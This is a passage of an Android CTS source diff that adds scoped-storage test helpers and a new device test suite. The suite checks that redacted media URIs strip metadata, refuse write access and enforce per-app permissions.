+ final ContentResolver cr = getContentResolver();
+ final Uri trashedFileUri = MediaStore.scanFile(cr, trashedFile);
+ assertNotNull(trashedFileUri);
+
+ trashFileAndAssert(trashedFileUri);
+ return trashedFileUri;
+ }
+
+ /**
+ * Gets file path corresponding to the db row pointed by {@code uri}. If {@code uri} points to
+ * multiple db rows, file path is extracted from the first db row of the database query result.
+ */
+ private String getFilePathFromUri(Uri uri) {
+ final String[] projection = new String[] {MediaStore.MediaColumns.DATA};
+ try (Cursor c = getContentResolver().query(uri, projection, null, null)) {
+ assertTrue(c.moveToFirst());
+ return c.getString(0);
+ }
+ }
+
+ private boolean isMediaTypeImageOrVideo(File file) {
+ return queryImageFile(file).getCount() == 1 || queryVideoFile(file).getCount() == 1;
+ }
+
+ private static void assertIsMediaTypeImage(File file) {
+ final Cursor c = queryImageFile(file);
+ assertEquals(1, c.getCount());
+ }
+
+ private static void assertNotMediaTypeImage(File file) {
+ final Cursor c = queryImageFile(file);
+ assertEquals(0, c.getCount());
+ }
+
+ private static void assertCantQueryFile(File file) {
+ assertThat(getFileUri(file)).isNull();
+ // Confirm that file exists in the database.
+ assertNotNull(MediaStore.scanFile(getContentResolver(), file));
+ }
+
+ private static void assertCreateFilesAs(TestApp testApp, File... files) throws Exception {
+ for (File file : files) {
+ assertFalse("File already exists: " + file, file.exists());
+ assertTrue("Failed to create file " + file + " on behalf of "
+ + testApp.getPackageName(), createFileAs(testApp, file.getPath()));
+ }
+ }
+
+ /**
+ * Makes {@code testApp} create {@code files}. Publishes {@code files} by scanning the file.
+ * Pending files from FUSE are not visible to other apps via MediaStore APIs. We have to publish
+ * the file or make the file non-pending to make the file visible to other apps.
+ * <p>
+ * Note that this method can only be used for scannable files.
+ */
+ private static void assertCreatePublishedFilesAs(TestApp testApp, File... files)
+ throws Exception {
+ for (File file : files) {
+ assertTrue("Failed to create published file " + file + " on behalf of "
+ + testApp.getPackageName(), createFileAs(testApp, file.getPath()));
+ assertNotNull("Failed to scan " + file,
+ MediaStore.scanFile(getContentResolver(), file));
+ }
+ }
+
+
+ private static void deleteFilesAs(TestApp testApp, File... files) throws Exception {
+ for (File file : files) {
+ deleteFileAs(testApp, file.getPath());
+ }
+ }
+ private static void assertCanDeletePathsAs(TestApp testApp, String... filePaths)
+ throws Exception {
+ for (String path: filePaths) {
+ assertTrue("Failed to delete file " + path + " on behalf of "
+ + testApp.getPackageName(), deleteFileAs(testApp, path));
+ }
+ }
+
+ private static void assertCantDeletePathsAs(TestApp testApp, String... filePaths)
+ throws Exception {
+ for (String path: filePaths) {
+ assertFalse("Deleting " + path + " on behalf of " + testApp.getPackageName()
+ + " was expected to fail", deleteFileAs(testApp, path));
+ }
+ }
+
+ private void deleteFiles(File... files) {
+ for (File file: files) {
+ if (file == null) continue;
+ file.delete();
+ }
+ }
+
+ private void deletePaths(String... paths) {
+ for (String path: paths) {
+ if (path == null) continue;
+ new File(path).delete();
+ }
+ }
+
+ private static void assertCanDeletePaths(String... filePaths) {
+ for (String filePath : filePaths) {
+ assertTrue("Failed to delete " + filePath,
+ new File(filePath).delete());
+ }
+ }
+
+ /**
+ * For possible values of {@code mode}, look at {@link android.content.ContentProvider#openFile}
+ */
+ private static void assertCanQueryAndOpenFile(File file, String mode) throws IOException {
+ // This call performs the query
+ final Uri fileUri = getFileUri(file);
+ // The query succeeds iff it didn't return null
+ assertThat(fileUri).isNotNull();
+ // Now we assert that we can open the file through ContentResolver
+ try (ParcelFileDescriptor pfd =
+ getContentResolver().openFileDescriptor(fileUri, mode)) {
+ assertThat(pfd).isNotNull();
+ }
+ }
+
+ /**
+ * Assert that the last read in: read - write - read using {@code readFd} and {@code writeFd}
+ * see the last write. {@code readFd} and {@code writeFd} are fds pointing to the same
+ * underlying file on disk but may be derived from different mount points and in that case
+ * have separate VFS caches.
+ */
+ private void assertRWR(ParcelFileDescriptor readPfd, ParcelFileDescriptor writePfd)
+ throws Exception {
+ FileDescriptor readFd = readPfd.getFileDescriptor();
+ FileDescriptor writeFd = writePfd.getFileDescriptor();
+
+ byte[] readBuffer = new byte[10];
+ byte[] writeBuffer = new byte[10];
+ Arrays.fill(writeBuffer, (byte) 1);
+
+ // Write so readFd has content to read from next
+ Os.pwrite(readFd, readBuffer, 0, 10, 0);
+ // Read so readBuffer is in readFd's mount VFS cache
+ Os.pread(readFd, readBuffer, 0, 10, 0);
+
+ // Assert that readBuffer is zeroes
+ assertThat(readBuffer).isEqualTo(new byte[10]);
+
+ // Write so writeFd and readFd should now see writeBuffer
+ Os.pwrite(writeFd, writeBuffer, 0, 10, 0);
+
+ // Read so the last write can be verified on readFd
+ Os.pread(readFd, readBuffer, 0, 10, 0);
+
+ // Assert that the last write is indeed visible via readFd
+ assertThat(readBuffer).isEqualTo(writeBuffer);
+ assertThat(readPfd.getStatSize()).isEqualTo(writePfd.getStatSize());
+ }
+
+ private void assertStartsWith(String actual, String prefix) throws Exception {
+ String message = "String \"" + actual + "\" should start with \"" + prefix + "\"";
+
+ assertWithMessage(message).that(actual).startsWith(prefix);
+ }
+
+ private void assertLowerFsFd(ParcelFileDescriptor pfd) throws Exception {
+ String path = Os.readlink("/proc/self/fd/" + pfd.getFd());
+ String prefix = "/storage";
+
+ assertStartsWith(path, prefix);
+ }
+
+ private void assertUpperFsFd(ParcelFileDescriptor pfd) throws Exception {
+ String path = Os.readlink("/proc/self/fd/" + pfd.getFd());
+ String prefix = "/mnt/user";
+
+ assertStartsWith(path, prefix);
+ }
+
+ private void assertLowerFsFdWithPassthrough(final String path, ParcelFileDescriptor pfd)
+ throws Exception {
+ final ContentResolver resolver = getTargetContext().getContentResolver();
+ final Bundle res = resolver.call(MediaStore.AUTHORITY, "uses_fuse_passthrough", path, null);
+ boolean passthroughEnabled = res.getBoolean("uses_fuse_passthrough_result");
+
+ if (passthroughEnabled) {
+ assertUpperFsFd(pfd);
+ } else {
+ assertLowerFsFd(pfd);
+ }
+ }
+
+ private static void assertCanCreateFile(File file) throws IOException {
+ // If the file somehow managed to survive a previous run, then the test app was uninstalled
+ // and MediaProvider will remove our its ownership of the file, so it's not guaranteed that
+ // we can create nor delete it.
+ if (!file.exists()) {
+ assertThat(file.createNewFile()).isTrue();
+ assertThat(file.delete()).isTrue();
+ } else {
+ Log.w(TAG,
+ "Couldn't assertCanCreateFile(" + file + ") because file existed prior to "
+ + "running the test!");
+ }
+ }
+
+ private static void assertCannotReadOrWrite(File file)
+ throws Exception {
+ // App data directories have different 'x' bits on upgrading vs new devices. Let's not
+ // check 'exists', by passing checkExists=false. But assert this app cannot read or write
+ // the other app's file.
+ assertAccess(file, false /* value is moot */, false /* canRead */,
+ false /* canWrite */, false /* checkExists */);
+ }
+
+ private static void assertAccess(File file, boolean exists, boolean canRead, boolean canWrite)
+ throws Exception {
+ assertAccess(file, exists, canRead, canWrite, true /* checkExists */);
+ }
+
+ private static void assertAccess(File file, boolean exists, boolean canRead, boolean canWrite,
+ boolean checkExists) throws Exception {
+ if (checkExists) {
+ assertThat(file.exists()).isEqualTo(exists);
+ }
+ assertThat(file.canRead()).isEqualTo(canRead);
+ assertThat(file.canWrite()).isEqualTo(canWrite);
+ if (file.isDirectory()) {
+ if (checkExists) {
+ assertThat(file.canExecute()).isEqualTo(exists);
+ }
+ } else {
+ assertThat(file.canExecute()).isFalse(); // Filesytem is mounted with MS_NOEXEC
+ }
+
+ // Test some combinations of mask.
+ assertAccess(file, R_OK, canRead);
+ assertAccess(file, W_OK, canWrite);
+ assertAccess(file, R_OK | W_OK, canRead && canWrite);
+ assertAccess(file, W_OK | F_OK, canWrite);
+
+ if (checkExists) {
+ assertAccess(file, F_OK, exists);
+ }
+ }
+
+ private static void assertAccess(File file, int mask, boolean expected) throws Exception {
+ if (expected) {
+ assertThat(Os.access(file.getAbsolutePath(), mask)).isTrue();
+ } else {
+ assertThrows(ErrnoException.class, () -> {
+ Os.access(file.getAbsolutePath(), mask);
+ });
+ }
+ }
+
+ /**
+ * Creates a file at any location on storage (except external app data directory).
+ * The owner of the file is not the caller app.
+ */
+ private void createFileAsLegacyApp(File file) throws Exception {
+ // Use a legacy app to create this file, since it could be outside shared storage.
+ Log.d(TAG, "Creating file " + file);
+ assertThat(createFileAs(APP_D_LEGACY_HAS_RW, file.getAbsolutePath())).isTrue();
+ }
+
+ /**
+ * Creates a file at any location on storage (except external app data directory).
+ * The owner of the file is not the caller app.
+ */
+ private void createDirectoryAsLegacyApp(File file) throws Exception {
+ // Use a legacy app to create this file, since it could be outside shared storage.
+ Log.d(TAG, "Creating directory " + file);
+ // Create a tmp file in the target directory, this would also create the required
+ // directory, then delete the tmp file. It would leave only new directory.
+ assertThat(createFileAs(APP_D_LEGACY_HAS_RW, file.getAbsolutePath() + "/tmp.txt")).isTrue();
+ assertThat(deleteFileAs(APP_D_LEGACY_HAS_RW, file.getAbsolutePath() + "/tmp.txt")).isTrue();
+ }
+
+ /**
+ * Deletes a file or directory at any location on storage (except external app data directory).
+ */
+ private void deleteAsLegacyApp(File file) throws Exception {
+ // Use a legacy app to delete this file, since it could be outside shared storage.
+ Log.d(TAG, "Deleting file " + file);
+ deleteFileAs(APP_D_LEGACY_HAS_RW, file.getAbsolutePath());
+ }
+
+ /**
+ * Deletes the given file/directory recursively. If the file is a directory, then deletes all
+ * of its children (files or directories) recursively.
+ */
+ private void deleteRecursivelyAsLegacyApp(File dir) throws Exception {
+ // Use a legacy app to delete this directory, since it could be outside shared storage.
+ Log.d(TAG, "Deleting directory " + dir);
+ deleteRecursivelyAs(APP_D_LEGACY_HAS_RW, dir.getAbsolutePath());
+ }
+}
diff --git a/hostsidetests/scopedstorage/device/src/android/scopedstorage/cts/device/ScopedStorageBaseDeviceTest.java b/hostsidetests/scopedstorage/libs/ScopedStorageTestLib/src/android/scopedstorage/cts/lib/ScopedStorageBaseDeviceTest.java
index 95ea734f39d..92b9ee64e07 100644
--- a/hostsidetests/scopedstorage/device/src/android/scopedstorage/cts/device/ScopedStorageBaseDeviceTest.java
+++ b/hostsidetests/scopedstorage/libs/ScopedStorageTestLib/src/android/scopedstorage/cts/lib/ScopedStorageBaseDeviceTest.java
@@ -14,7 +14,7 @@
* limitations under the License.
*/
-package android.scopedstorage.cts.device;
+package android.scopedstorage.cts.lib;
import static android.scopedstorage.cts.lib.TestUtils.getExternalFilesDir;
import static android.scopedstorage.cts.lib.TestUtils.pollForExternalStorageState;
@@ -28,14 +28,13 @@ import static com.google.common.truth.Truth.assertThat;
import static com.google.common.truth.Truth.assertWithMessage;
import android.provider.MediaStore;
-import android.scopedstorage.cts.lib.TestUtils;
import static org.junit.Assume.assumeTrue;
import java.util.Arrays;
import java.util.List;
-class ScopedStorageBaseDeviceTest {
+public class ScopedStorageBaseDeviceTest {
private static final String VOLUME_PUBLIC = "volume_public";
private static void createPublicVolume() throws Exception {
@@ -51,7 +50,7 @@ class ScopedStorageBaseDeviceTest {
}
}
- void setupExternalStorage(String volumeName) throws Exception {
+ public void setupExternalStorage(String volumeName) throws Exception {
assertThat(volumeName).isNotNull();
if (volumeName.equals(MediaStore.VOLUME_EXTERNAL)) {
@@ -74,7 +73,7 @@ class ScopedStorageBaseDeviceTest {
setupDefaultDirectories();
}
- static List<String> getTestParameters() {
+ public static List<String> getTestParameters() {
return Arrays.asList(
MediaStore.VOLUME_EXTERNAL,
VOLUME_PUBLIC
diff --git a/hostsidetests/scopedstorage/libs/ScopedStorageTestLib/src/android/scopedstorage/cts/lib/TestUtils.java b/hostsidetests/scopedstorage/libs/ScopedStorageTestLib/src/android/scopedstorage/cts/lib/TestUtils.java
index a824a1558aa..3db6007cf43 100644
--- a/hostsidetests/scopedstorage/libs/ScopedStorageTestLib/src/android/scopedstorage/cts/lib/TestUtils.java
+++ b/hostsidetests/scopedstorage/libs/ScopedStorageTestLib/src/android/scopedstorage/cts/lib/TestUtils.java
@@ -756,12 +756,7 @@ public class TestUtils {
Install.single(testApp).commit();
assertThat(InstallUtils.getInstalledVersion(packageName)).isEqualTo(1);
if (grantStoragePermission) {
- grantPermission(packageName, Manifest.permission.READ_EXTERNAL_STORAGE);
- if (SdkLevel.isAtLeastT()) {
- grantPermission(packageName, Manifest.permission.READ_MEDIA_IMAGES);
- grantPermission(packageName, Manifest.permission.READ_MEDIA_AUDIO);
- grantPermission(packageName, Manifest.permission.READ_MEDIA_VIDEO);
- }
+ addressStoragePermissions(packageName, true);
}
Log.d(TAG, String.format("Successfully installed %s app", testApp.getPackageName()));
} finally {
@@ -769,6 +764,27 @@ public class TestUtils {
}
}
+ /**
+ * Grants or revokes storage read permissions.
+ */
+ public static void addressStoragePermissions(String packageName, boolean grantPermission) {
+ if (grantPermission) {
+ grantPermission(packageName, Manifest.permission.READ_EXTERNAL_STORAGE);
+ if (SdkLevel.isAtLeastT()) {
+ grantPermission(packageName, Manifest.permission.READ_MEDIA_IMAGES);
+ grantPermission(packageName, Manifest.permission.READ_MEDIA_AUDIO);
+ grantPermission(packageName, Manifest.permission.READ_MEDIA_VIDEO);
+ }
+ } else {
+ revokePermission(packageName, Manifest.permission.READ_EXTERNAL_STORAGE);
+ if (SdkLevel.isAtLeastT()) {
+ revokePermission(packageName, Manifest.permission.READ_MEDIA_IMAGES);
+ revokePermission(packageName, Manifest.permission.READ_MEDIA_AUDIO);
+ revokePermission(packageName, Manifest.permission.READ_MEDIA_VIDEO);
+ }
+ }
+ }
+
public static boolean isAppInstalled(TestApp testApp) {
boolean isAppInstalled = InstallUtils.getInstalledVersion(testApp.getPackageName()) != -1;
diff --git a/hostsidetests/scopedstorage/redacturi/AndroidManifest.xml b/hostsidetests/scopedstorage/redacturi/AndroidManifest.xml
new file mode 100644
index 00000000000..96d792e6116
--- /dev/null
+++ b/hostsidetests/scopedstorage/redacturi/AndroidManifest.xml
@@ -0,0 +1,37 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ ~ Copyright (C) 2023 The Android Open Source Project
+ ~
+ ~ Licensed under the Apache License, Version 2.0 (the "License");
+ ~ you may not use this file except in compliance with the License.
+ ~ You may obtain a copy of the License at
+ ~
+ ~ http://www.apache.org/licenses/LICENSE-2.0
+ ~
+ ~ Unless required by applicable law or agreed to in writing, software
+ ~ distributed under the License is distributed on an "AS IS" BASIS,
+ ~ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ ~ See the License for the specific language governing permissions and
+ ~ limitations under the License.
+ -->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+ package="android.scopedstorage.cts.redacturi">
+
+ <uses-sdk android:minSdkVersion="29" />
+
+ <queries>
+ <package android:name="android.scopedstorage.cts.testapp.B.noperms" />
+ <package android:name="android.scopedstorage.cts.testapp.E" />
+ </queries>
+
+ <application android:label="Scoped Storage Device Redact Uri Tests">
+ <uses-library android:name="android.test.runner" />
+ <activity android:name="android.scopedstorage.cts.lib.GetResultActivity"/>
+ </application>
+
+ <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
+ android:targetPackage="android.scopedstorage.cts.redacturi"
+ android:label="Device-only scoped storage redact uri tests" />
+
+</manifest>
diff --git a/hostsidetests/scopedstorage/redacturi/AndroidTest.xml b/hostsidetests/scopedstorage/redacturi/AndroidTest.xml
new file mode 100644
index 00000000000..53722507b77
--- /dev/null
+++ b/hostsidetests/scopedstorage/redacturi/AndroidTest.xml
@@ -0,0 +1,43 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ ~ Copyright (C) 2023 The Android Open Source Project
+ ~
+ ~ Licensed under the Apache License, Version 2.0 (the "License");
+ ~ you may not use this file except in compliance with the License.
+ ~ You may obtain a copy of the License at
+ ~
+ ~ http://www.apache.org/licenses/LICENSE-2.0
+ ~
+ ~ Unless required by applicable law or agreed to in writing, software
+ ~ distributed under the License is distributed on an "AS IS" BASIS,
+ ~ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ ~ See the License for the specific language governing permissions and
+ ~ limitations under the License.
+ -->
+<configuration description="Runs device-only tests for scoped storage">
+ <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
+ <option name="cleanup-apks" value="true" />
+ <option name="test-file-name" value="CtsScopedStorageRedactUriTest.apk" />
+ <option name="test-file-name" value="CtsScopedStorageTestAppB.apk" />
+ <option name="test-file-name" value="CtsScopedStorageTestAppE.apk" />
+ </target_preparer>
+
+ <option
+ name="config-descriptor:metadata"
+ key="mainline-param"
+ value="com.google.android.mediaprovider.apex" />
+
+ <option name="config-descriptor:metadata" key="component" value="framework" />
+ <option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
+ <option name="config-descriptor:metadata" key="parameter" value="not_multi_abi" />
+ <option name="config-descriptor:metadata" key="parameter" value="not_secondary_user" />
+ <option name="test-suite-tag" value="cts" />
+ <test class="com.android.tradefed.testtype.AndroidJUnitTest" >
+ <option name="package" value="android.scopedstorage.cts.redacturi" />
+ <option name="runner" value="androidx.test.runner.AndroidJUnitRunner" />
+ </test>
+
+ <object type="module_controller" class="com.android.tradefed.testtype.suite.module.MainlineTestModuleController">
+ <option name="mainline-module-package-name" value="com.google.android.mediaprovider" />
+ </object>
+</configuration>
diff --git a/hostsidetests/scopedstorage/redacturi/src/android/scopedstorage/cts/redacturi/RedactUriDeviceTest.java b/hostsidetests/scopedstorage/redacturi/src/android/scopedstorage/cts/redacturi/RedactUriDeviceTest.java
new file mode 100644
index 00000000000..b228dfe7e7b
--- /dev/null
+++ b/hostsidetests/scopedstorage/redacturi/src/android/scopedstorage/cts/redacturi/RedactUriDeviceTest.java
@@ -0,0 +1,586 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.scopedstorage.cts.redacturi;
+
+
+import static android.content.Intent.FLAG_GRANT_READ_URI_PERMISSION;
+import static android.database.Cursor.FIELD_TYPE_BLOB;
+import static android.scopedstorage.cts.lib.TestUtils.addressStoragePermissions;
+import static android.scopedstorage.cts.lib.TestUtils.assertThrows;
+import static android.scopedstorage.cts.lib.TestUtils.canOpenRedactedUriForWrite;
+import static android.scopedstorage.cts.lib.TestUtils.canQueryOnUri;
+import static android.scopedstorage.cts.lib.TestUtils.checkPermission;
+import static android.scopedstorage.cts.lib.TestUtils.forceStopApp;
+import static android.scopedstorage.cts.lib.TestUtils.getContentResolver;
+import static android.scopedstorage.cts.lib.TestUtils.grantPermission;
+import static android.scopedstorage.cts.lib.TestUtils.isFileDescriptorRedacted;
+import static android.scopedstorage.cts.lib.TestUtils.isFileOpenRedacted;
+import static android.scopedstorage.cts.lib.TestUtils.setShouldForceStopTestApp;
+
+import static androidx.test.InstrumentationRegistry.getContext;
+
+import static com.google.common.truth.Truth.assertThat;
+
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertNotEquals;
+import static org.junit.Assert.assertNotNull;
+import static org.junit.Assert.assertNull;
+import static org.junit.Assert.assertTrue;
+
+import android.Manifest;
+import android.content.ContentValues;
+import android.content.Intent;
+import android.database.Cursor;
+import android.media.ExifInterface;
+import android.net.Uri;
+import android.scopedstorage.cts.lib.ScopedStorageBaseDeviceTest;
+import android.os.Bundle;
+import android.os.Environment;
+import android.os.FileUtils;
+import android.os.ParcelFileDescriptor;
+import android.provider.MediaStore;
+import android.system.Os;
+
+import androidx.test.filters.SdkSuppress;
+
+import com.android.cts.install.lib.TestApp;
+
+import org.junit.AfterClass;
+import org.junit.BeforeClass;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+import org.junit.runners.Parameterized;
+
+import java.io.File;
+import java.io.FileDescriptor;
+import java.io.FileNotFoundException;
+import java.io.FileOutputStream;
+import java.io.IOException;
+import java.io.InputStream;
+import java.io.OutputStream;
+import java.util.ArrayList;
+import java.util.Arrays;
+import java.util.Collection;
+import java.util.List;
+
+/**
+ * Device-side test suite to verify redacted URI operations.
+ */
+@RunWith(Parameterized.class)
+@SdkSuppress(minSdkVersion = 31, codeName = "S")
+public class RedactUriDeviceTest extends ScopedStorageBaseDeviceTest {
+
+ /**
+ * To help avoid flaky tests, give ourselves a unique nonce to be used for
+ * all filesystem paths, so that we don't risk conflicting with previous
+ * test runs.
+ */
+ static final String NONCE = String.valueOf(System.nanoTime());
+
+ static final String IMAGE_FILE_NAME = "ScopedStorageDeviceTest_file_" + NONCE + ".jpg";
+
+ static final String FUZZER_HEIC_FILE_NAME =
+ "ScopedStorageDeviceTest_file_fuzzer_" + NONCE + ".heic";
+
+ // An app with no permissions
+ private static final TestApp APP_B_NO_PERMS = new TestApp("TestAppB",
+ "android.scopedstorage.cts.testapp.B.noperms", 1, false,
+ "CtsScopedStorageTestAppB.apk");
+
+ private static final TestApp APP_E = new TestApp("TestAppE",
+ "android.scopedstorage.cts.testapp.E", 1, false, "CtsScopedStorageTestAppE.apk");
+
+ @Parameterized.Parameter(0)
+ public String mVolumeName;
+
+ /** Parameters data. */
+ @Parameterized.Parameters(name = "volume={0}")
+ public static Iterable<? extends Object> data() {
+ return getTestParameters();
+ }
+
+ @BeforeClass
+ public static void setupApps() {
+ // Installed by target preparer
+ assertThat(checkPermission(APP_B_NO_PERMS,
+ Manifest.permission.READ_EXTERNAL_STORAGE)).isFalse();
+ setShouldForceStopTestApp(false);
+ }
+
+ @AfterClass
+ public static void destroy() {
+ setShouldForceStopTestApp(true);
+ }
+
+ @Test
+ public void testRedactedUri_single() throws Exception {
+ final File img = stageImageFileWithMetadata(IMAGE_FILE_NAME);
+
+ try {
+ final Uri uri = MediaStore.scanFile(getContentResolver(), img);
+ final Uri redactedUri = MediaStore.getRedactedUri(getContentResolver(), uri);
+ testRedactedUriCommon(uri, redactedUri);
+ } finally {
+ img.delete();
+ }
+ }
+
+ @Test
+ public void testRedactedUri_list() throws Exception {
+ List<Uri> uris = new ArrayList<>();
+ List<File> files = new ArrayList<>();
+
+ try {
+ for (int i = 0; i < 10; i++) {
+ File file = stageImageFileWithMetadata("img_metadata" + String.valueOf(
+ System.nanoTime()) + i + ".jpg");
+ files.add(file);
+ uris.add(MediaStore.scanFile(getContentResolver(), file));
+ }
+
+ final Collection<Uri> redactedUris = MediaStore.getRedactedUri(getContentResolver(),
+ uris);
+ int i = 0;
+ for (Uri redactedUri : redactedUris) {
+ Uri uri = uris.get(i++);
+ testRedactedUriCommon(uri, redactedUri);
+ }
+ } finally {
+ files.forEach(file -> file.delete());
+ }
+ }
+
+ @Test
+ public void testQueryOnRedactionUri() throws Exception {
+ final File img = stageImageFileWithMetadata(IMAGE_FILE_NAME);
+ final Uri uri = MediaStore.scanFile(getContentResolver(), img);
+ final Uri redactedUri = MediaStore.getRedactedUri(getContentResolver(), uri);
+ final Cursor uriCursor = getContentResolver().query(uri, null, null, null);
+ final String redactedUriDir = ".transforms/synthetic/redacted";
+ final String redactedUriDirAbsolutePath =
+ Environment.getExternalStorageDirectory() + "/" + redactedUriDir;
+ try {
+ assertNotNull(uriCursor);
+ assertThat(uriCursor.moveToFirst()).isTrue();
+
+ final Cursor redactedUriCursor = getContentResolver().query(redactedUri, null, null,
+ null);
+ assertNotNull(redactedUriCursor);
+ assertThat(redactedUriCursor.moveToFirst()).isTrue();
+
+ assertEquals(redactedUriCursor.getColumnCount(), uriCursor.getColumnCount());
+
+ final String data = getStringFromCursor(redactedUriCursor,
+ MediaStore.MediaColumns.DATA);
+ final String redactedUriDisplayName = redactedUri.getLastPathSegment() + ".jpg";
+ assertEquals(redactedUriDirAbsolutePath + "/" + redactedUriDisplayName, data);
+
+ final String name = getStringFromCursor(redactedUriCursor,
+ MediaStore.MediaColumns.DISPLAY_NAME);
+ assertEquals(redactedUriDisplayName, name);
+
+ final String relativePath = getStringFromCursor(redactedUriCursor,
+ MediaStore.MediaColumns.RELATIVE_PATH);
+ assertEquals(redactedUriDir, relativePath);
+
+ final String bucketDisplayName = getStringFromCursor(redactedUriCursor,
+ MediaStore.MediaColumns.BUCKET_DISPLAY_NAME);
+ assertEquals(redactedUriDir, bucketDisplayName);
+
+ final String docId = getStringFromCursor(redactedUriCursor,
+ MediaStore.MediaColumns.DOCUMENT_ID);
+ assertNull(docId);
+
+ final String insId = getStringFromCursor(redactedUriCursor,
+ MediaStore.MediaColumns.INSTANCE_ID);
+ assertNull(insId);
+
+ final String bucId = getStringFromCursor(redactedUriCursor,
+ MediaStore.MediaColumns.BUCKET_ID);
+ assertNull(bucId);
+
+ final Collection<String> updatedCols = Arrays.asList(MediaStore.MediaColumns._ID,
+ MediaStore.MediaColumns.DISPLAY_NAME,
+ MediaStore.MediaColumns.RELATIVE_PATH,
+ MediaStore.MediaColumns.BUCKET_DISPLAY_NAME,
+ MediaStore.MediaColumns.DATA,
+ MediaStore.MediaColumns.DOCUMENT_ID,
+ MediaStore.MediaColumns.INSTANCE_ID,
+ MediaStore.MediaColumns.BUCKET_ID);
+ for (String colName : uriCursor.getColumnNames()) {
+ if (!updatedCols.contains(colName)) {
+ if (uriCursor.getType(uriCursor.getColumnIndex(colName)) == FIELD_TYPE_BLOB) {
+ assertThat(
+ Arrays.equals(uriCursor.getBlob(uriCursor.getColumnIndex(colName)),
+ redactedUriCursor.getBlob(redactedUriCursor.getColumnIndex(
+ colName)))).isTrue();
+ } else {
+ assertEquals(getStringFromCursor(uriCursor, colName),
+ getStringFromCursor(redactedUriCursor, colName));
+ }
+ }
+ }
+ } finally {
+ img.delete();
+ }
+ }
+
+ /*
+ * Verify that app can't open the shared redacted URI for write.
+ **/
+ @Test
+ public void testSharedRedactedUri_openFdForWrite() throws Exception {
+ forceStopApp(APP_B_NO_PERMS.getPackageName());
+ final File img = stageImageFileWithMetadata(IMAGE_FILE_NAME);
+ try {
+ Uri redactedUri = shareAndGetRedactedUri(img, APP_B_NO_PERMS);
+ assertThrows(UnsupportedOperationException.class,
+ () -> canOpenRedactedUriForWrite(APP_B_NO_PERMS, redactedUri));
+ } finally {
+ img.delete();
+ }
+ }
+
+ /*
+ * Verify that app with correct permission can open the shared redacted URI for read in
+ * redacted mode.
+ **/
+ @Test
+ public void testSharedRedactedUri_openFdForRead() throws Exception {
+ forceStopApp(APP_B_NO_PERMS.getPackageName());
+ final File img = stageImageFileWithMetadata(IMAGE_FILE_NAME);
+ try {
+ final Uri redactedUri = shareAndGetRedactedUri(img, APP_B_NO_PERMS);
+ assertThat(isFileDescriptorRedacted(APP_B_NO_PERMS, redactedUri)).isTrue();
+ } finally {
+ img.delete();
+ }
+ }
+
+ /*
+ * Verify that app with correct permission can open the shared redacted URI for read in
+ * redacted mode.
+ **/
+ @Test
+ public void testSharedRedactedUri_openFileForRead() throws Exception {
+ forceStopApp(APP_B_NO_PERMS.getPackageName());
+ final File img = stageImageFileWithMetadata(IMAGE_FILE_NAME);
+ try {
+ Uri redactedUri = shareAndGetRedactedUri(img, APP_B_NO_PERMS);
+ assertThat(isFileOpenRedacted(APP_B_NO_PERMS, redactedUri)).isTrue();
+ } finally {
+ img.delete();
+ }
+ }
+
+ /*
+ * Verify that the app with redacted URI granted can query it.
+ **/
+ @Test
+ public void testSharedRedactedUri_query() throws Exception {
+ forceStopApp(APP_B_NO_PERMS.getPackageName());
+ final File img = stageImageFileWithMetadata(IMAGE_FILE_NAME);
+ try {
+ Uri redactedUri = shareAndGetRedactedUri(img, APP_B_NO_PERMS);
+ assertThat(canQueryOnUri(APP_B_NO_PERMS, redactedUri)).isTrue();
+ } finally {
+ img.delete();
+ }
+ }
+
+ /*
+ * Verify that for app with AML permission shared redacted URI opens for read in redacted mode.
+ **/
+ @Test
+ public void testSharedRedactedUri_openFileForRead_withLocationPerm() throws Exception {
+ final File img = stageImageFileWithMetadata(IMAGE_FILE_NAME);
+ forceStopApp(APP_E.getPackageName());
+ try {
+ addressStoragePermissions(APP_E.getPackageName(), true);
+ grantPermission(APP_E.getPackageName(), Manifest.permission.ACCESS_MEDIA_LOCATION);
+
+ Uri redactedUri = shareAndGetRedactedUri(img, APP_E);
+ assertThat(isFileOpenRedacted(APP_E, redactedUri)).isTrue();
+ } finally {
+ img.delete();
+ }
+ }
+
+ /*
+ * Verify that for app with AML permission shared redacted URI opens for read in redacted mode.
+ **/
+ @Test
+ public void testSharedRedactedUri_openFdForRead_withLocationPerm() throws Exception {
+ forceStopApp(APP_E.getPackageName());
+ final File img = stageImageFileWithMetadata(IMAGE_FILE_NAME);
+ try {
+ addressStoragePermissions(APP_E.getPackageName(), true);
+ grantPermission(APP_E.getPackageName(), Manifest.permission.ACCESS_MEDIA_LOCATION);
+
+ Uri redactedUri = shareAndGetRedactedUri(img, APP_E);
+ assertThat(isFileDescriptorRedacted(APP_E, redactedUri)).isTrue();
+ } finally {
+ img.delete();
+ }
+ }
+
+ /*
+ * Verify that the test app can't access unshared redacted uri via file descriptor
+ **/
+ @Test
+ public void testUnsharedRedactedUri_openFdForRead() throws Exception {
+ forceStopApp(APP_B_NO_PERMS.getPackageName());
+ forceStopApp(APP_E.getPackageName());
+ final File img = stageImageFileWithMetadata(IMAGE_FILE_NAME);
+ try {
+ addressStoragePermissions(APP_E.getPackageName(), true);
+
+ final Uri redactedUri = getRedactedUri(img);
+ // APP_E has R_E_S, so should have access to redactedUri
+ assertThat(isFileDescriptorRedacted(APP_E, redactedUri)).isTrue();
+ assertThrows(SecurityException.class,
+ () -> isFileDescriptorRedacted(APP_B_NO_PERMS, redactedUri));
+ } finally {
